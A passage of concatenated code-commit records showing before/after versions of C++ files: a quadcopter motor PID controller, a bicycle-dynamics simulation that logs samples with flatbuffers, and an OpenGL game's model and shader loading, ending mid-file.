2000)\r\n\t\t\tthis->motor_FR = 2000;\r\n\t\telse if (this->motor_FR < 1050)\r\n\t\t\tthis->motor_FR = 940;\r\n\r\n\t\tif (this->motor_BR > 2000)\r\n\t\t\tthis->motor_BR = 2000;\r\n\t\telse if (this->motor_BR < 1050)\r\n\t\t\tthis->motor_BR = 940;\r\n\r\n\t\tPWM_generator.SetPulse(this->motor_FL, 3);\r\n\t\tPWM_generator.SetPulse(this->motor_BL, 2);\r\n\t\tPWM_generator.SetPulse(this->motor_FR, 4);\r\n\t\tPWM_generator.SetPulse(this->motor_BR, 1);\r\n\t}\r\n\telse {\r\n\t\tMPU6050::Instance().Reset_Integrators();\r\n\r\n\t\tPWM_generator.SetPulse(940, 1);\r\n\t\tPWM_generator.SetPulse(940, 2);\r\n\t\tPWM_generator.SetPulse(940, 3);\r\n\t\tPWM_generator.SetPulse(940, 4);\r\n\t}\r\n}\r\n\r\nuint16_t Motors_Controller::Get_Throttle() {\r\n\treturn this->throttle;\r\n}\r\n\r\nuint16_t Motors_Controller::Get_Motor_FL() {\r\n\treturn this->motor_FL;\r\n}\r\n\r\nuint16_t Motors_Controller::Get_Motor_FR() {\r\n\treturn this->motor_FR;\r\n}\r\n\r\nuint16_t Motors_Controller::Get_Motor_BL() {\r\n\treturn this->motor_BL;\r\n}\r\n\r\nuint16_t Motors_Controller::Get_Motor_BR() {\r\n\treturn this->motor_BR;\r\n}\r\n\r\n} \/* namespace flyhero *\/\r\n<commit_msg>Undo 0c18011: PID correction formulas for motors<commit_after>\/*\r\n * Motors_Controller.cpp\r\n *\r\n *  Created on: 18. 7. 2017\r\n *      Author: michp\r\n *\/\r\n\r\n#include <Motors_Controller.h>\r\n\r\nnamespace flyhero {\r\n\r\nMotors_Controller& Motors_Controller::Instance() {\r\n\tstatic Motors_Controller instance;\r\n\r\n\treturn instance;\r\n}\r\n\r\nMotors_Controller::Motors_Controller() {\r\n\tthis->motor_FR = 940;\r\n\tthis->motor_FL = 940;\r\n\tthis->motor_BR = 940;\r\n\tthis->motor_BL = 940;\r\n\r\n\tthis->roll_PID.Set_I_Max(50);\r\n\tthis->pitch_PID.Set_I_Max(50);\r\n\tthis->yaw_PID.Set_I_Max(50);\r\n\r\n\tthis->invert_yaw = false;\r\n\tthis->throttle = 1000;\r\n}\r\n\r\nvoid Motors_Controller::Set_PID_Constants(Axis axis, float Kp, float Ki, float Kd) {\r\n\tswitch (axis) {\r\n\tcase Roll:\r\n\t\tthis->roll_PID.Set_Kp(Kp);\r\n\t\tthis->roll_PID.Set_Ki(Ki);\r\n\t\tthis->roll_PID.Set_Kd(Kd);\r\n\t\tbreak;\r\n\tcase Pitch:\r\n\t\tthis->pitch_PID.Set_Kp(Kp);\r\n\t\tthis->pitch_PID.Set_Ki(Ki);\r\n\t\tthis->pitch_PID.Set_Kd(Kd);\r\n\t\tbreak;\r\n\tcase Yaw:\r\n\t\tthis->yaw_PID.Set_Kp(Kp);\r\n\t\tthis->yaw_PID.Set_Ki(Ki);\r\n\t\tthis->yaw_PID.Set_Kd(Kd);\r\n\t\tbreak;\r\n\t}\r\n}\r\n\r\nvoid Motors_Controller::Set_Throttle(uint16_t throttle) {\r\n\tthis->throttle = throttle;\r\n}\r\n\r\nvoid Motors_Controller::Set_Invert_Yaw(bool invert) {\r\n\tthis->invert_yaw = invert;\r\n}\r\n\r\nvoid Motors_Controller::Update_Motors() {\r\n\tPWM_Generator& PWM_generator = PWM_Generator::Instance();\r\n\r\n\tif (this->throttle >= 1050) {\r\n\t\tfloat pitch_correction, roll_correction, yaw_correction;\r\n\t\tMPU6050::Sensor_Data euler_data;\r\n\r\n\t\tMPU6050::Instance().Get_Euler(euler_data.x, euler_data.y, euler_data.z);\r\n\r\n\t\troll_correction = this->roll_PID.Get_PID(0 - euler_data.x);\r\n\t\tpitch_correction = this->pitch_PID.Get_PID(0 - euler_data.y);\r\n\t\tyaw_correction = this->yaw_PID.Get_PID(0 - euler_data.z);\r\n\r\n\t\t\/\/ not sure about yaw signs\r\n\t\tif (!this->invert_yaw) {\r\n\t\t\tthis->motor_FL = throttle - roll_correction - pitch_correction - yaw_correction; \/\/ PB2\r\n\t\t\tthis->motor_BL = throttle - roll_correction + pitch_correction + yaw_correction; \/\/ PA15\r\n\t\t\tthis->motor_FR = throttle + roll_correction - pitch_correction + yaw_correction; \/\/ PB10\r\n\t\t\tthis->motor_BR = throttle + roll_correction + pitch_correction - yaw_correction; \/\/ PA1\r\n\t\t}\r\n\t\telse {\r\n\t\t\tthis->motor_FL = throttle - roll_correction - pitch_correction + yaw_correction; \/\/ PB2\r\n\t\t\tthis->motor_BL = throttle - roll_correction + pitch_correction - yaw_correction; \/\/ PA15\r\n\t\t\tthis->motor_FR = throttle + roll_correction - pitch_correction - yaw_correction; \/\/ PB10\r\n\t\t\tthis->motor_BR = throttle + roll_correction + pitch_correction + yaw_correction; \/\/ PA1\r\n\t\t}\r\n\r\n\t\tif (this->motor_FL > 2000)\r\n\t\t\tthis->motor_FL = 2000;\r\n\t\telse if (this->motor_FL < 1050)\r\n\t\t\tthis->motor_FL = 940;\r\n\r\n\t\tif (this->motor_BL > 2000)\r\n\t\t\tthis->motor_BL = 2000;\r\n\t\telse if (this->motor_BL < 1050)\r\n\t\t\tthis->motor_BL = 940;\r\n\r\n\t\tif (this->motor_FR > 2000)\r\n\t\t\tthis->motor_FR = 2000;\r\n\t\telse if (this->motor_FR < 1050)\r\n\t\t\tthis->motor_FR = 940;\r\n\r\n\t\tif (this->motor_BR > 2000)\r\n\t\t\tthis->motor_BR = 2000;\r\n\t\telse if (this->motor_BR < 1050)\r\n\t\t\tthis->motor_BR = 940;\r\n\r\n\t\tPWM_generator.SetPulse(this->motor_FL, 3);\r\n\t\tPWM_generator.SetPulse(this->motor_BL, 2);\r\n\t\tPWM_generator.SetPulse(this->motor_FR, 4);\r\n\t\tPWM_generator.SetPulse(this->motor_BR, 1);\r\n\t}\r\n\telse {\r\n\t\tMPU6050::Instance().Reset_Integrators();\r\n\r\n\t\tPWM_generator.SetPulse(940, 1);\r\n\t\tPWM_generator.SetPulse(940, 2);\r\n\t\tPWM_generator.SetPulse(940, 3);\r\n\t\tPWM_generator.SetPulse(940, 4);\r\n\t}\r\n}\r\n\r\nuint16_t Motors_Controller::Get_Throttle() {\r\n\treturn this->throttle;\r\n}\r\n\r\nuint16_t Motors_Controller::Get_Motor_FL() {\r\n\treturn this->motor_FL;\r\n}\r\n\r\nuint16_t Motors_Controller::Get_Motor_FR() {\r\n\treturn this->motor_FR;\r\n}\r\n\r\nuint16_t Motors_Controller::Get_Motor_BL() {\r\n\treturn this->motor_BL;\r\n}\r\n\r\nuint16_t Motors_Controller::Get_Motor_BR() {\r\n\treturn this->motor_BR;\r\n}\r\n\r\n} \/* namespace flyhero *\/\r\n<|endoftext|>"}
{"text":"<commit_before>#include <array>\n#include <chrono>\n#include <cstdio>\n#include <iostream>\n#include <boost\/math\/constants\/constants.hpp>\n#include \"bicycle.h\"\n#include \"parameters.h\"\n\n#include \"flatbuffers\/flatbuffers.h\"\n#include \"sample_log_generated.h\"\n#include \"sample_util.h\"\n\nnamespace {\n    const double fs = 200; \/\/ sample rate [Hz]\n    const double dt = 1.0\/fs; \/\/ sample time [s]\n    const double v0 = 4.0; \/\/ forward speed [m\/s]\n    const size_t N = 1000; \/\/ length of simulation in samples\n\n    std::array<model::Bicycle::state_t, N> system_state;\n    flatbuffers::FlatBufferBuilder builder;\n    flatbuffers::FlatBufferBuilder log_builder;\n    flatbuffers::Offset<fbs::SampleBuffer> sample_locations[N + 1];\n} \/\/ namespace\n\nflatbuffers::Offset<fbs::Bicycle> create_bicycle(flatbuffers::FlatBufferBuilder& fbb, const model::Bicycle& bicycle) {\n    auto M = fbs::second_order_matrix(bicycle.M());\n    auto C1 = fbs::second_order_matrix(bicycle.C1());\n    auto K0 = fbs::second_order_matrix(bicycle.K0());\n    auto K2 = fbs::second_order_matrix(bicycle.K2());\n    return fbs::CreateBicycle(fbb, bicycle.v(), bicycle.dt(), &M, &C1, &K0, &K2);\n}\n\nint main(int argc, char* argv[]) {\n    (void)argc;\n    (void)argv;\n\n    model::Bicycle bicycle(parameters::benchmark::M, parameters::benchmark::C1,\n            parameters::benchmark::K0, parameters::benchmark::K2, v0, dt);\n\n    model::Bicycle::state_t x; \/\/ roll rate, steer rate, roll angle, steer angle\n    x << 0, 10, 10, 0; \/\/ define x0 in degrees\n    x *= boost::math::constants::degree<double>(); \/\/ convert to radians\n    std::cout << \"initial state: [\" << x.transpose() << \"]' rad\" << std::endl;\n    std::cout << \"states are: [roll angle, steer angle, roll rate, steer rate]'\" << std::endl << std::endl;\n\n    \/\/ flatbuffer objects must be serialized in depth first pre-order traversal\n    size_t current_sample = 0;\n\n    std::cout << \"simulating discrete time system at constant speed (\" <<\n        N << \" steps at \" << fs << \" Hz) ...\" << std::endl;\n    auto disc_start = std::chrono::system_clock::now();\n    for (auto& state: system_state) {\n        x = bicycle.x_next(x);\n        state = x;\n\n        builder.Clear();\n        fbs::SampleBuilder sample_builder(builder);\n        if (current_sample == 0) {\n            auto bicycle_location = create_bicycle(builder, bicycle);\n            sample_builder.add_bicycle(bicycle_location);\n        }\n        auto fbs_state = fbs::state(x);\n        sample_builder.add_state(&fbs_state);\n        sample_builder.add_timestamp(current_sample);\n        auto location = sample_builder.Finish();\n        builder.Finish(location);\n        \/\/ sample is serialized\n\n        unsigned char* p = nullptr;\n        auto data = log_builder.CreateUninitializedVector<unsigned char>(builder.GetSize(), &p);\n        std::memcpy(p, builder.GetBufferPointer(), builder.GetSize());\n\n        fbs::SampleBufferBuilder log_sample_builder(log_builder);\n        log_sample_builder.add_data(data);\n        sample_locations[current_sample++] = log_sample_builder.Finish();\n    }\n    auto disc_stop = std::chrono::system_clock::now();\n    auto disc_time = disc_stop - disc_start;\n\n    std::cout << \"final state: \" << system_state.back().transpose() << std::endl;\n    std::cout << \"simulation duration: \" <<\n        std::chrono::duration_cast<std::chrono::microseconds>(disc_time).count() <<\n        \" us\" << std::endl;\n\n    auto samples_vector = log_builder.CreateVector(sample_locations, N);\n    auto log_location = fbs::CreateSampleLog(log_builder, samples_vector);\n    log_builder.Finish(log_location);\n\n    {\n        disc_start = std::chrono::system_clock::now();\n        auto f = std::fopen(\"samples.bin\", \"wb\");\n        std::fwrite(log_builder.GetBufferPointer(), sizeof(char), log_builder.GetSize(), f);\n        std::fclose(f);\n        disc_stop = std::chrono::system_clock::now();\n        disc_time = disc_stop - disc_start;\n        std::cout << \"write to file took: \" <<\n            std::chrono::duration_cast<std::chrono::microseconds>(disc_time).count() <<\n            \" us\" << std::endl;\n    }\n\n    return EXIT_SUCCESS;\n}\n<commit_msg>Include file identifier when finishing sample log<commit_after>#include <array>\n#include <chrono>\n#include <cstdio>\n#include <iostream>\n#include <boost\/math\/constants\/constants.hpp>\n#include \"bicycle.h\"\n#include \"parameters.h\"\n\n#include \"flatbuffers\/flatbuffers.h\"\n#include \"sample_log_generated.h\"\n#include \"sample_util.h\"\n\nnamespace {\n    const double fs = 200; \/\/ sample rate [Hz]\n    const double dt = 1.0\/fs; \/\/ sample time [s]\n    const double v0 = 4.0; \/\/ forward speed [m\/s]\n    const size_t N = 1000; \/\/ length of simulation in samples\n\n    std::array<model::Bicycle::state_t, N> system_state;\n    flatbuffers::FlatBufferBuilder builder;\n    flatbuffers::FlatBufferBuilder log_builder;\n    flatbuffers::Offset<fbs::SampleBuffer> sample_locations[N];\n} \/\/ namespace\n\nflatbuffers::Offset<fbs::Bicycle> create_bicycle(flatbuffers::FlatBufferBuilder& fbb, const model::Bicycle& bicycle) {\n    auto M = fbs::second_order_matrix(bicycle.M());\n    auto C1 = fbs::second_order_matrix(bicycle.C1());\n    auto K0 = fbs::second_order_matrix(bicycle.K0());\n    auto K2 = fbs::second_order_matrix(bicycle.K2());\n    return fbs::CreateBicycle(fbb, bicycle.v(), bicycle.dt(), &M, &C1, &K0, &K2);\n}\n\nint main(int argc, char* argv[]) {\n    (void)argc;\n    (void)argv;\n\n    model::Bicycle bicycle(parameters::benchmark::M, parameters::benchmark::C1,\n            parameters::benchmark::K0, parameters::benchmark::K2, v0, dt);\n\n    model::Bicycle::state_t x; \/\/ roll rate, steer rate, roll angle, steer angle\n    x << 0, 10, 10, 0; \/\/ define x0 in degrees\n    x *= boost::math::constants::degree<double>(); \/\/ convert to radians\n    std::cout << \"initial state: [\" << x.transpose() << \"]' rad\" << std::endl;\n    std::cout << \"states are: [roll angle, steer angle, roll rate, steer rate]'\" << std::endl << std::endl;\n\n    \/\/ flatbuffer objects must be serialized in depth first pre-order traversal\n    size_t current_sample = 0;\n\n    std::cout << \"simulating discrete time system at constant speed (\" <<\n        N << \" steps at \" << fs << \" Hz) ...\" << std::endl;\n    auto disc_start = std::chrono::system_clock::now();\n    for (auto& state: system_state) {\n        x = bicycle.x_next(x);\n        state = x;\n\n        builder.Clear();\n        fbs::SampleBuilder sample_builder(builder);\n        if (current_sample == 0) {\n            auto bicycle_location = create_bicycle(builder, bicycle);\n            sample_builder.add_bicycle(bicycle_location);\n        }\n        auto fbs_state = fbs::state(x);\n        sample_builder.add_state(&fbs_state);\n        sample_builder.add_timestamp(current_sample);\n        auto location = sample_builder.Finish();\n        builder.Finish(location);\n        \/\/ sample is serialized\n\n        unsigned char* p = nullptr;\n        auto data = log_builder.CreateUninitializedVector<unsigned char>(builder.GetSize(), &p);\n        std::memcpy(p, builder.GetBufferPointer(), builder.GetSize());\n\n        fbs::SampleBufferBuilder log_sample_builder(log_builder);\n        log_sample_builder.add_data(data);\n        sample_locations[current_sample++] = log_sample_builder.Finish();\n    }\n    auto disc_stop = std::chrono::system_clock::now();\n    auto disc_time = disc_stop - disc_start;\n\n    std::cout << \"final state: \" << system_state.back().transpose() << std::endl;\n    std::cout << \"simulation duration: \" <<\n        std::chrono::duration_cast<std::chrono::microseconds>(disc_time).count() <<\n        \" us\" << std::endl;\n\n    auto samples_vector = log_builder.CreateVector(sample_locations, N);\n    auto log_location = fbs::CreateSampleLog(log_builder, samples_vector);\n    log_builder.Finish(log_location, fbs::SampleLogIdentifier());\n\n    {\n        disc_start = std::chrono::system_clock::now();\n        auto f = std::fopen(\"samples.bin\", \"wb\");\n        std::fwrite(log_builder.GetBufferPointer(), sizeof(char), log_builder.GetSize(), f);\n        std::fclose(f);\n        disc_stop = std::chrono::system_clock::now();\n        disc_time = disc_stop - disc_start;\n        std::cout << \"write to file took: \" <<\n            std::chrono::duration_cast<std::chrono::microseconds>(disc_time).count() <<\n            \" us\" << std::endl;\n    }\n\n    return EXIT_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"Game.hpp\"\n#include \"..\/Window\/GlfwError.hpp\"\n#include \"..\/Util\/WarnGuard.hpp\"\nWARN_GUARD_ON\n#include <glm\/glm.hpp>\n#include <glm\/gtc\/matrix_transform.hpp>\n#include \"..\/Graphics\/Image\/ImageLoader.hpp\"\n#include \"..\/Graphics\/Model\/ModelLoader.hpp\"\nWARN_GUARD_OFF\n#include \"..\/Util\/FileLoad.hpp\"\n\n\/\/\/==============================================================\n\/\/\/= Game\n\/\/\/==============================================================\n\/\/ BufferType for the files loaded\nusing BufferType = std::vector<std::uint8_t>;\n\nGame::Game()\n{\n}\n\nvoid Game::Init()\n{\n    \/\/ Setup window and input\n    SetupWindow();\n\n    \/\/ Initialize the renderer\n    renderer.Init(mWindow.GetWidth(), mWindow.GetHeight());\n\n    \/\/ Cube rotation state\n    mRotationData.degreesInc = 0.05f;\n    mRotationData.rotating = false;\n\n    \/\/ Camera initial position\n    mCamera.SetPos(glm::vec3(0, 0, 8));\n\n    \/\/ Load the textures\n    LoadTextures();\n\n    \/\/ Load the models\n    LoadModels();\n\n    \/\/ Load the shaders\n    LoadShaders();\n\n    \/\/ Create world objects\n    SetupWorld();\n}\n\nvoid Game::SetupWorld()\n{\n    \/\/ Retrieve the world from the renderer\n    auto& world = renderer.GetWorld();\n\n    \/\/\n    \/\/ Normal objects\n    \/\/\n    std::vector<Renderer::WorldObject> normalObjects;\n    \/\/ Create various Cube instances in the world\n    std::vector<glm::vec3> cubePositions = {\n        glm::vec3(0.0f, 0.0f, 0.0f),\n        glm::vec3(4.0f, 10.0f, -20.0f),\n        glm::vec3(-3.0f, -4.4f, -5.0f),\n        glm::vec3(-7.6f, -4.0f, -14.0f),\n        glm::vec3(4.4f, -3.5f, -4.0f),\n        glm::vec3(-3.4f, 6.0f, -15.0f),\n        glm::vec3(2.6f, -4.0f, -17.0f),\n        glm::vec3(4.0f, 3.0f, -5.0f),\n        glm::vec3(3.0f, 0.4f, -12.0f),\n        glm::vec3(-3.5f, 2.0f, -3.0f)\n    };\n    for (std::size_t i = 0; i < cubePositions.size(); ++i)\n    {\n        const auto& pos = cubePositions[i];\n\n        Transform trans;\n        trans.Move(pos);\n        trans.Scale(glm::vec3(2.0f));\n        trans.RotateX(20.0f * i);\n        trans.RotateY(7.0f * i);\n        trans.RotateZ(10.0f * i);\n        normalObjects.push_back({trans, \"cube\"});\n    }\n\n    \/\/ Add house\n    {\n        Transform trans;\n        trans.Move(glm::vec3(0.0f, -10.0f, -40.0f));\n        trans.Scale(glm::vec3(0.3f));\n        normalObjects.push_back({trans, \"house\"});\n    }\n    world.insert({\"normal\", normalObjects});\n\n    \/\/\n    \/\/ Light objects\n    \/\/\n    std::vector<Renderer::WorldObject> lightObjects;\n\n    \/\/ Add cube lights\n    {\n        Transform trans;\n        trans.Move(glm::vec3(4.0f, 0.0f, 0.0f));\n        trans.Scale(glm::vec3(0.3f));\n        lightObjects.push_back({trans, \"teapot\"});\n    }\n    world.insert({\"light\", lightObjects});\n    renderer.mLight = &world[\"light\"].back();\n}\n\nvoid Game::SetupWindow()\n{\n    \/\/ Setup window\n    bool success = mWindow.Create(800, 600, \"TheRoom\", Window::Mode::Windowed);\n    if (!success)\n        throw std::runtime_error(GetLastGlfwError().GetDescription());\n\n    mWindow.SetShowFPS(true);\n    mWindow.SetCloseHandler(mExitHandler);\n\n    \/\/ Setup input event handlers\n    mWindow.SetMouseButtonPressHandler(\n        [this](MouseButton mb, ButtonAction ba)\n        {\n            if (mb == MouseButton::Left && ba == ButtonAction::Press)\n                mWindow.SetMouseGrabEnabled(true);\n        }\n    );\n    mWindow.SetKeyPressedHandler(\n        [this](Key k, KeyAction ka)\n        {\n            \/\/ Exit\n            if(k == Key::Escape && ka == KeyAction::Release)\n                mExitHandler();\n            \/\/ Ungrab mouse\n            if(k == Key::RightControl && ka == KeyAction::Release)\n                mWindow.SetMouseGrabEnabled(false);\n            if(k == Key::R && ka == KeyAction::Release)\n                mRotationData.rotating = !mRotationData.rotating;\n        }\n    );\n}\n\nvoid Game::LoadShaders()\n{\n    \/\/ Retrieve the shaderStore from the renderer\n    auto& shaderStore = renderer.GetShaderStore();\n\n    \/\/ The shader map\n    std::unordered_map<std::string, std::vector<std::pair<ShaderStore::ShaderType,std::string>>> shaders =\n    {\n        {\n            \"geometry_pass\",\n            {\n                { ShaderStore::ShaderType::Vertex,   \"res\/geometry_pass_vert.glsl\" },\n                { ShaderStore::ShaderType::Fragment, \"res\/geometry_pass_frag.glsl\" },\n            }\n        },\n        {\n            \"light_pass\",\n            {\n                { ShaderStore::ShaderType::Vertex,   \"res\/light_pass_vert.glsl\" },\n                { ShaderStore::ShaderType::Fragment, \"res\/light_pass_frag.glsl\" },\n            }\n        }\n    };\n\n    \/\/ Load shaders\n    for (const auto& p : shaders)\n    {\n        \/\/ Will temporarily store the id's of the compiled shaders\n        std::unordered_map<ShaderStore::ShaderType, GLuint> shaderIds;\n        for (const auto& f : p.second)\n        {\n            \/\/ Load file\n            auto shaderFile = FileLoad<BufferType>(f.second);\n            if (!shaderFile)\n                throw std::runtime_error(\"Could not find shader file: \\n\" + f.second);\n            \/\/ Convert it to std::string containter\n            std::string shaderSrc((*shaderFile).begin(), (*shaderFile).end());\n            GLuint sId = shaderStore.LoadShader(shaderSrc, f.first);\n            if (sId == 0)\n                throw std::runtime_error(\"Shader compilation error: \\n\" + shaderStore.GetLastCompileError());\n            \/\/ Insert loaded shader id to temp map\n            shaderIds.insert({f.first, sId});\n        }\n        \/\/ Fetch vert and frag shader id's from temp map and link\n        bool s = shaderStore.LinkProgram(p.first,\n            shaderIds[ShaderStore::ShaderType::Vertex],\n            shaderIds[ShaderStore::ShaderType::Fragment]);\n        if (!s)\n            throw std::runtime_error(\"OpenGL program link error: \\n\" + shaderStore.GetLastLinkError());\n    }\n}\n\nvoid Game::LoadTextures()\n{\n    \/\/ Retrieve the textureStore from the renderer\n    auto& textureStore = renderer.GetTextureStore();\n\n    \/\/ The ImageLoader object\n    ImageLoader imageLoader;\n\n    \/\/ The texture map\n    std::unordered_map<std::string, std::string> textures =\n    {\n        {\"ext\/mahogany_wood.jpg\",            \"mahogany_wood\"},\n        {\"ext\/mahogany_wood_spec.jpg\",       \"mahogany_wood_spec\"},\n        {\"ext\/WoodenCabin\/WoodCabinDif.jpg\", \"house_diff\"},\n        {\"ext\/WoodenCabin\/WoodCabinSM.jpg\",  \"house_spec\"},\n    };\n\n    \/\/ Load the textures\n    for (const auto& p : textures)\n    {\n        RawImage<> pb = imageLoader.LoadFile(p.first);\n        textureStore.Load(p.second, pb);\n    }\n\n    \/\/ Add calculated textures\n    RawImage<> pb({0xFF, 0xFF, 0xFF}, {1, 1, 3});\n    textureStore.Load(\"white\", pb);\n    RawImage<> pb2({0x00, 0x00, 0x00}, {1, 1, 3});\n    textureStore.Load(\"white_spec\", pb2);\n}\n\nvoid Game::LoadModels()\n{\n    \/\/ Retrieve the model and texture stores from the renderer\n    auto& modelStore = renderer.GetModelStore();\n    auto& textureStore = renderer.GetTextureStore();\n\n    \/\/ Model loader instance\n    ModelLoader modelLoader;\n\n    \/\/ Load the cube\n    auto cubeFile = FileLoad<BufferType>(\"ext\/Cube\/cube.obj\");\n    if(!cubeFile)\n        throw std::runtime_error(\"Couldn't load file (ext\/Cube\/cube.obj)\");\n\n    Model cube = modelLoader.Load(*cubeFile, \"obj\");\n    if(cube.meshes.size() == 0)\n        throw std::runtime_error(\"Couldn't load model (ext\/Cube\/cube.obj)\");\n\n    modelStore.Load(\"cube\", std::move(cube));\n    modelStore[\"cube\"]->diffTexId = textureStore[\"mahogany_wood\"]->texId;\n    modelStore[\"cube\"]->specTexId = textureStore[\"mahogany_wood_spec\"]->texId;\n\n    \/\/ Load teapot\n    auto teapotFile = FileLoad<BufferType>(\"ext\/teapot.obj\");\n    if(!teapotFile)\n        throw std::runtime_error(\"Couldn't load file (ext\/teapot.obj)\");\n\n    Model teapot = modelLoader.Load(*teapotFile, \"obj\");\n    if(teapot.meshes.size() == 0)\n        throw std::runtime_error(\"Couldn't load model (ext\/teapot.obj)\");\n\n    modelStore.Load(\"teapot\", std::move(teapot));\n    modelStore[\"teapot\"]->diffTexId = textureStore[\"white\"]->texId;\n    modelStore[\"teapot\"]->specTexId = textureStore[\"white_spec\"]->texId;\n\n    \/\/ Load house\n    auto houseFile = FileLoad<BufferType>(\"ext\/WoodenCabin\/WoodenCabin.dae\");\n    if(!houseFile)\n        throw std::runtime_error(\"Couldn't load file (ext\/WoodenCabin\/WoodenCabin.dae)\");\n\n    Model house = modelLoader.Load(*houseFile, \"dae\");\n    if(house.meshes.size() == 0)\n        throw std::runtime_error(\"Couldn't load model (ext\/WoodenCabin\/WoodenCabin.dae)\");\n\n    modelStore.Load(\"house\", std::move(house));\n    modelStore[\"house\"]->diffTexId = textureStore[\"house_diff\"]->texId;\n    modelStore[\"house\"]->specTexId = textureStore[\"house_spec\"]->texId;\n}\n\nstd::vector<Camera::MoveDirection> Game::CameraMoveDirections()\n{\n    std::vector<Camera::MoveDirection> mds;\n    if(mWindow.IsKeyPressed(Key::W))\n        mds.push_back(Camera::MoveDirection::Forward);\n    if(mWindow.IsKeyPressed(Key::A))\n        mds.push_back(Camera::MoveDirection::Left);\n    if(mWindow.IsKeyPressed(Key::S))\n        mds.push_back(Camera::MoveDirection::BackWard);\n    if(mWindow.IsKeyPressed(Key::D))\n        mds.push_back(Camera::MoveDirection::Right);\n    return mds;\n}\n\nstd::tuple<float, float> Game::CameraLookOffset()\n{\n    std::tuple<double, double> curDiff = mWindow.GetCursorDiff();\n    return std::make_tuple(\n        static_cast<float>(std::get<0>(curDiff)),\n        static_cast<float>(std::get<1>(curDiff))\n    );\n}\n\nvoid Game::Update(float dt)\n{\n    (void) dt;\n\n    \/\/ Poll window events\n    mWindow.Update();\n\n    \/\/ Update the interpolation state of the world\n    renderer.Update(dt);\n\n    \/\/ Update camera euler angles\n    if (mWindow.MouseGrabEnabled())\n        mCamera.Look(CameraLookOffset());\n\n    \/\/ Update camera position\n    mCamera.Move(CameraMoveDirections());\n\n    \/\/ Update light position\n    auto& trans = renderer.mLight->transform;\n    float increase = 0.7f;\n    if(mWindow.IsKeyPressed(Key::Kp8))\n        trans.Move(glm::vec3(0.0f, increase, 0.0f));\n    if(mWindow.IsKeyPressed(Key::Kp4))\n        trans.Move(glm::vec3(-increase, 0.0f, 0.0f));\n    if(mWindow.IsKeyPressed(Key::Kp2))\n        trans.Move(glm::vec3(0.0f, -increase, 0.0f));\n    if(mWindow.IsKeyPressed(Key::Kp6))\n        trans.Move(glm::vec3(increase, 0.0f, 0.0f));\n    if(mWindow.IsKeyPressed(Key::Kp5))\n        trans.Move(glm::vec3(0.0f, 0.0f, -increase));\n    if(mWindow.IsKeyPressed(Key::Kp0))\n        trans.Move(glm::vec3(0.0f, 0.0f, increase));\n\n    \/\/ Update cubes' rotations\n    if (mRotationData.rotating)\n    {\n        for (auto& p : renderer.GetWorld())\n            if (p.first == \"normal\")\n                for (auto& gObj : p.second)\n                    gObj.transform.RotateY(mRotationData.degreesInc);\n    }\n}\n\nvoid Game::Render(float interpolation)\n{\n    \/\/ View calculation with camera\n    auto lookOffset = mWindow.MouseGrabEnabled() ? CameraLookOffset() : std::make_tuple(0.0f, 0.0f);\n    auto iCamState = mCamera.Interpolate(CameraMoveDirections(), lookOffset, interpolation);\n\n    \/\/ Create the view matrix and pass it to the renderer\n    glm::mat4 view = glm::lookAt(iCamState.position, iCamState.position + iCamState.front, iCamState.up);\n    renderer.SetView(view);\n\n    \/\/ Render\n    renderer.Render(interpolation);\n\n    \/\/ Show it\n    mWindow.SwapBuffers();\n}\n\nvoid Game::Shutdown()\n{\n    \/\/ Renderer\n    renderer.Shutdown();\n\n    \/\/ Window\n    mWindow.Destroy();\n}\n\nvoid Game::SetExitHandler(std::function<void()> f)\n{\n    mExitHandler = f;\n}\n<commit_msg>Eliminated code duplication on model loading<commit_after>#include \"Game.hpp\"\n#include \"..\/Window\/GlfwError.hpp\"\n#include \"..\/Util\/WarnGuard.hpp\"\nWARN_GUARD_ON\n#include <glm\/glm.hpp>\n#include <glm\/gtc\/matrix_transform.hpp>\n#include \"..\/Graphics\/Image\/ImageLoader.hpp\"\n#include \"..\/Graphics\/Model\/ModelLoader.hpp\"\nWARN_GUARD_OFF\n#include \"..\/Util\/FileLoad.hpp\"\n\n\/\/\/==============================================================\n\/\/\/= Game\n\/\/\/==============================================================\n\/\/ BufferType for the files loaded\nusing BufferType = std::vector<std::uint8_t>;\n\nGame::Game()\n{\n}\n\nvoid Game::Init()\n{\n    \/\/ Setup window and input\n    SetupWindow();\n\n    \/\/ Initialize the renderer\n    renderer.Init(mWindow.GetWidth(), mWindow.GetHeight());\n\n    \/\/ Cube rotation state\n    mRotationData.degreesInc = 0.05f;\n    mRotationData.rotating = false;\n\n    \/\/ Camera initial position\n    mCamera.SetPos(glm::vec3(0, 0, 8));\n\n    \/\/ Load the textures\n    LoadTextures();\n\n    \/\/ Load the models\n    LoadModels();\n\n    \/\/ Load the shaders\n    LoadShaders();\n\n    \/\/ Create world objects\n    SetupWorld();\n}\n\nvoid Game::SetupWorld()\n{\n    \/\/ Retrieve the world from the renderer\n    auto& world = renderer.GetWorld();\n\n    \/\/\n    \/\/ Normal objects\n    \/\/\n    std::vector<Renderer::WorldObject> normalObjects;\n    \/\/ Create various Cube instances in the world\n    std::vector<glm::vec3> cubePositions = {\n        glm::vec3(0.0f, 0.0f, 0.0f),\n        glm::vec3(4.0f, 10.0f, -20.0f),\n        glm::vec3(-3.0f, -4.4f, -5.0f),\n        glm::vec3(-7.6f, -4.0f, -14.0f),\n        glm::vec3(4.4f, -3.5f, -4.0f),\n        glm::vec3(-3.4f, 6.0f, -15.0f),\n        glm::vec3(2.6f, -4.0f, -17.0f),\n        glm::vec3(4.0f, 3.0f, -5.0f),\n        glm::vec3(3.0f, 0.4f, -12.0f),\n        glm::vec3(-3.5f, 2.0f, -3.0f)\n    };\n    for (std::size_t i = 0; i < cubePositions.size(); ++i)\n    {\n        const auto& pos = cubePositions[i];\n\n        Transform trans;\n        trans.Move(pos);\n        trans.Scale(glm::vec3(2.0f));\n        trans.RotateX(20.0f * i);\n        trans.RotateY(7.0f * i);\n        trans.RotateZ(10.0f * i);\n        normalObjects.push_back({trans, \"cube\"});\n    }\n\n    \/\/ Add house\n    {\n        Transform trans;\n        trans.Move(glm::vec3(0.0f, -10.0f, -40.0f));\n        trans.Scale(glm::vec3(0.3f));\n        normalObjects.push_back({trans, \"house\"});\n    }\n    world.insert({\"normal\", normalObjects});\n\n    \/\/\n    \/\/ Light objects\n    \/\/\n    std::vector<Renderer::WorldObject> lightObjects;\n\n    \/\/ Add cube lights\n    {\n        Transform trans;\n        trans.Move(glm::vec3(4.0f, 0.0f, 0.0f));\n        trans.Scale(glm::vec3(0.3f));\n        lightObjects.push_back({trans, \"teapot\"});\n    }\n    world.insert({\"light\", lightObjects});\n    